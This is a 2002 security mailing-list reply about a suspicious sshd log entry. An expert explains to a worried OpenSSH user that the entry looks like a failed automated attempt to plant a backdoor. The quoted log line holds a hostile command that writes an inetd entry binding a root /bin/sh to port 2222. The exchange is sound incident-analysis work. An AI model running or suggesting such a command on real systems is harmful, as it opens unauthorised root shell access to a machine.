Re: OpenSSH Attack?

[Bill McCarty <bmccarty () apu edu>]

Hi Ulrich,

These lines resemble an attempt to add a line to the /etc/inetd.conf file 
in order to establish a backdoor. Probably, an attacker's autorooter went 
awry, thought it had compromised the victim host, and prematurely attempted 
to upload a backdoor.  Nevertheless, I suggest you check whether any of 
your systems are listening on unusual ports, such as 2222.

Cheers,

--On Saturday, June 29, 2002 10:01 PM +0200 Ulrich Keil 
<ulrich () der-keiler de> wrote:

> I run OpenSSH 3.3p1 on linux (sparc) and found these line in my
> /var/log/messages:
>
> Jun 28 22:27:27 www sshd[21761]: Bad protocol version identification
> 'echo "2222 stream tcp nowait root /bin/sh sh -i">>
> /tmp/h;/usr/sbin/inetd /tmp/hn/inecho "2222 strea' from 192.192.230.233

---------------------------------------------------
Bill McCarty

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